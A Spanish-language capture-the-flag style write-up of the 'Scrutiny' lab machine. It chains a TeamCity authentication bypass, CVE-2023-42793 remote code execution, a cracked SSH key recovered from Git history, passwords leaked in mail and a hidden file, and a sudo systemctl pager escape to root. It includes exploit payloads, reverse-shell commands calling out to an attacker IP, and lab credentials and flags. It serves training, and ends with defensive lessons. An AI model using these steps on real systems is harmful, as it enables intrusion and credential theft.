Scrutiny
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. El vhostteams.onlyrands.comsirve JetBrains TeamCity 2023.05.4. Un bypass de autenticación nos crea un administrador, y con la CVE-2023-42793 (TeamCity RCE (CVE-2023-42793)) conseguimos shell comogit. A partir de ahí es una cadena de filtraciones: el historial de cambios de TeamCity conserva unid_rsaborrado que crackeamos (crackeo de hashes) para entrar comomarcot; un correo en/var/mailregala la contraseña dematthewa; un fichero.~la debriand. El remate es unsudo systemctl statuscuyo pager escapa a shell como root (escape del pager de systemctl).
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Tres puertos: SSH, SMTP y un servidor web nginx.
ping -c 1 192.168.160.91
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.160.91PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open httpnmap -p22,25,80 -sCV 192.168.160.91 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
25/tcp open smtp Postfix smtpd
|_smtp-commands: onlyrands.com, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ...
| ssl-cert: Subject: commonName=onlyrands.com
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: OnlyRandsEl certificado SMTP y el Host: que devuelve nginx apuntan al dominio onlyrands.com. La web principal es un "OnlyRands" estático, pero un servicio de correo activo en un host web siempre merece anotarse: puede ser el vector de una filtración más tarde.
HTTP - TCP 80
La web principal es un "OnlyRands" estático, pero su enlace Login (arriba a la derecha) no apunta a una ruta local, sino a un subdominio: http://teams.onlyrands.com. Así es como aparece el virtual host:

Lo añadimos al /etc/hosts para resolverlo:
echo "192.168.160.91 onlyrands.com teams.onlyrands.com" | sudo tee -a /etc/hostsEse vhost sirve un JetBrains TeamCity; la pantalla de login muestra la versión exacta en el pie: 2023.05.4 (build 129421):

Log in to TeamCity
Username
Password
[x] Remember me Reset password
[ Log in ]
Version 2023.05.4 (build 129421)TeamCity es un servidor de integración continua, y esa rama tiene CVEs muy jugosos:
searchsploit teamcityJetBrains TeamCity 2023.11.4 - Authentication Bypass | multiple/webapps/52411.pyExplotación
TeamCity 2023.05.4: bypass de autenticación
Copiamos el exploit a nuestro directorio con searchsploit -m y lo renombramos a un nombre manejable:
searchsploit -m multiple/webapps/52411.py
mv 52411.py teamcity_exp.py Exploit: JetBrains TeamCity 2023.11.4 - Authentication Bypass
URL: https://www.exploit-db.com/exploits/52411
Path: /usr/share/exploitdb/exploits/multiple/webapps/52411.py
Codes: N/A
Copied to: /home/kali/scrutiny/52411.pyEl exploit 52411.py abusa de la API REST para registrar un usuario nuevo con rol SYSTEM_ADMIN sin autenticación previa. Editamos las credenciales que creará (kmn9/kmn9) y lo lanzamos:
python3 teamcity_exp.py --url http://teams.onlyrands.com --verbose
[+] Target is reachable
[DEBUG] Payload: {"username": "kmn9", "password": "kmn9", "email": "kmn9@exploit.local", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
[+] Exploit successful!
[SUCCESS] Admin user created!
Username: kmn9
Password: kmn9
Login URL: http://teams.onlyrands.com/login.htmlEl exploit crea el usuario kmn9 con rol SYSTEM_ADMIN (id 24). Ya podemos entrar en la consola de TeamCity con esas credenciales:

Y dentro, el perfil confirma que la cuenta es la que ha fabricado el exploit: el correo es el kmn9@exploit.local que aparecía en el payload.

CVE-2023-42793: RCE autenticado
Con un token administrativo, TeamCity 2023.05.4 es vulnerable a la CVE-2023-42793, que permite ejecución de comandos abusando del despliegue de plugins/procesos internos (TeamCity RCE (CVE-2023-42793)). Primero generamos un token de acceso para el usuario recién creado:
curl -X POST http://teams.onlyrands.com/app/rest/users/id:24/tokens/RPC2 -u kmn9:kmn9<token name="RPC2" ... value="eyJ0eXAiOiAiVENWMiJ9.LURaX19ybFBiSlVDRE02OXhPX0xrbldRdldv.MDE5..."/>El rce.py que ejecuta la CVE-2023-42793 no viene con searchsploit. Una búsqueda de "team city exploitation" lo confirma como un CVE muy explotado (hay hasta un aviso de CISA sobre el SVR ruso abusándolo) y apunta al repositorio de B4l3rI0n, que lo automatiza:

Su README documenta las opciones y, lo que más importa, trae la línea exacta del -c para una reverse shell, que es la parte que cuesta acertar por el URL-encoding de los ¶ms=:

Options
-u, --url URL : Target URL (required)
-t, --token-file : TO specify the file containing the token
-c, --command COMMAND : Specify command to execute (RCE)
-P, --port PORT : Specify port (default is 80)
Example
python rce.py -u http://target.com -t token -c "whoami"
For reverse shell
-c '"/bin/bash"¶ms="-c"¶ms="sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{IP}%2F{port}%200%3E%261"'
In this command for reverse shell replace {IP} with your ip and {port} with the port you are listening on
Creat a listener using nc for ex nc -nvlp 5555Lo clonamos (repo):
git clone https://github.com/B4l3rI0n/CVE-2023-42793
cd CVE-2023-42793
pip3 install -r requirements.txt --break-system-packages
README.md exploit.py rce.py requirements.txt
Collecting argparse (from -r requirements.txt (line 1))
Using cached argparse-1.4.0-py2.py3-none-any.whl.metadata (2.8 kB)Antes de disparar la shell, dejamos Penelope a la escucha en el 80:
penelope 80Guardamos el value en un fichero token y lanzamos el RCE con una reverse shell:
python3 rce.py -u http://teams.onlyrands.com -p 80 -t token \
-c '"/bin/bash"¶ms="-c"¶ms="sh -i >& /dev/tcp/192.168.45.247/80 0>&1"'
(Penelope)> listeners add -p 80
[+] Got reverse shell from onlyrands.com~192.168.160.91-Linux-x86_64 Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
git@onlyrands:~/software/TeamCity/bin$ whoami
gitLa shell corre como git (TeamCity se ejecuta bajo esa cuenta en esta caja).
Local
cat local.txt && whoami && ip a && hostname
5c7481c8fe7d0e24b65ccb0733aace69
gitPivote de usuarios
id_rsa borrado en el historial de TeamCity
TeamCity indexa repositorios Git de los "freelancers". Revisando Changes aparece un commit de Marco Tillman (marcot) con el comentario "Oops": la vista de diferencias marca un fichero id_rsa como Removed. Borrarlo del árbol de trabajo no lo borra del historial ni del índice que TeamCity guardó:

Abriendo esa diferencia, TeamCity pinta el fichero borrado entero, con su botón de Copy incluido:

deleted id_rsa
marcot: Oops
Signed-off-by: Marco Tillman <marcot@onlyrands.com>
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCzpZkaQ7
4EIGvgnCCw0x+IAAAAEAAAAEAAAGXAAAAB3NzaC1yc2EAAAADAQABAAABgQDS1hJawG7o
...El Signed-off-by es un regalo aparte: da el nombre completo y el correo del dueño de la clave, que es justo el usuario con el que habrá que entrar por SSH.
Descargamos esa clave privada. Está cifrada con passphrase, así que la pasamos por ssh2john y la crackeamos (crackeo de hashes):
ssh2john id_rsa > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
cheer (id_rsa)
1g 0:00:00:59 DONE (2026-02-10 21:18) ...La passphrase es cheer. Con la clave entramos por SSH como marcot (el aviso "You have mail" al entrar será la siguiente pista):
ssh marcot@192.168.160.91 # passphrase: cheer
marcot@onlyrands:~$ whoami
marcotContraseña de matthewa en /var/mail
El aviso "You have mail" al entrar es una pista. Leemos el buzón de marcot (credenciales filtradas):
cat /var/mail/* 2>/dev/null | grep pass -C 10
Marco,
Dach, the imbecile, forgot to disable my access, so you can login using my account.
The password is "IdealismEngineAshen476" (without the quotation marks).
Sincerely, Matthew A.La contraseña IdealismEngineAshen476 es de matthewa:
su matthewa # IdealismEngineAshen476Contraseña de briand en el fichero .~
En el home de matthewa hay un fichero oculto raro, .~. Su contenido filtra otra contraseña más:
cd ~ && ls -la && cat '.~'
Dach's password is "RefriedScabbedWasting502". I saw it once when he had to use my terminal
to check TeamCity's status.Dach es el usuario briand, y esa nota es la clave de por qué su privilegio importa (comprobar el estado de TeamCity):
su briand # RefriedScabbedWasting502Escalada de privilegios
Escape del pager de sudo systemctl status
briand tiene un permiso sudo muy concreto:
sudo -lUser briand may run the following commands on onlyrands:
(root) NOPASSWD: /usr/bin/systemctl status teamcity-server.serviceCuando systemctl status produce una salida larga la envía a un pager (less), que se ejecuta con los privilegios del sudo. Desde less podemos escapar a una shell con !sh (escape del pager de systemctl):
sudo /usr/bin/systemctl status teamcity-server.service
!sh
briand@onlyrands:~$ sudo /usr/bin/systemctl status teamcity-server.service
● teamcity-server.service - TeamCity Server
Loaded: loaded (/lib/systemd/system/teamcity-server.service; enabled; vendor preset: enabled)
Active: active (running) since Mon 2024-08-05 17:12:08 UTC; 1 years 6 months ago
...
!sh
# whoami
rootEsto es exactamente lo que la nota .~ anticipaba: briand usaba su acceso para "comprobar el estado de TeamCity", y ese mismo permiso lo lleva a root.
Root
cat /root/proof.txt && whoami && ip a && hostname
eb2ec09fb795c3833f25e27239bd25b5
rootCadena de ataque
teams.onlyrands.com -- JetBrains TeamCity 2023.05.4
│ bypass de autenticación -> admin kmn9
│ CVE-2023-42793: token RPC + rce.py -> reverse shell
▼
git (local.txt)
│ historial de TeamCity conserva id_rsa borrado -> john (passphrase cheer)
▼
marcot
│ /var/mail -> matthewa : IdealismEngineAshen476
▼
matthewa
│ fichero .~ -> briand : RefriedScabbedWasting502
▼
briand
│ sudo systemctl status -> pager (less) -> !sh
▼
root (proof.txt)Lecciones aprendidas
- Los CVEs de TeamCity encadenan bypass + RCE. Primero un usuario admin sin autenticar, luego la CVE-2023-42793 para ejecutar código. Un CI accesible sin parchear es acceso directo al host.
- Git no olvida. Un
id_rsa"borrado" seguía en el historial que TeamCity indexó. Rotar la clave y reescribir el historial (no solo borrar el fichero) es lo que de verdad la retira. - El correo local es una mina de credenciales.
/var/mailguardaba una contraseña en claro; siempre hay que leerlo tras conseguir shell. systemctl statuscon sudo es un escape a shell. Su pager (less) permite!sh. Si un servicio debe monitorizarse sin privilegios, usar--no-pageroSYSTEMD_PAGER=cat, o herramientas de solo lectura.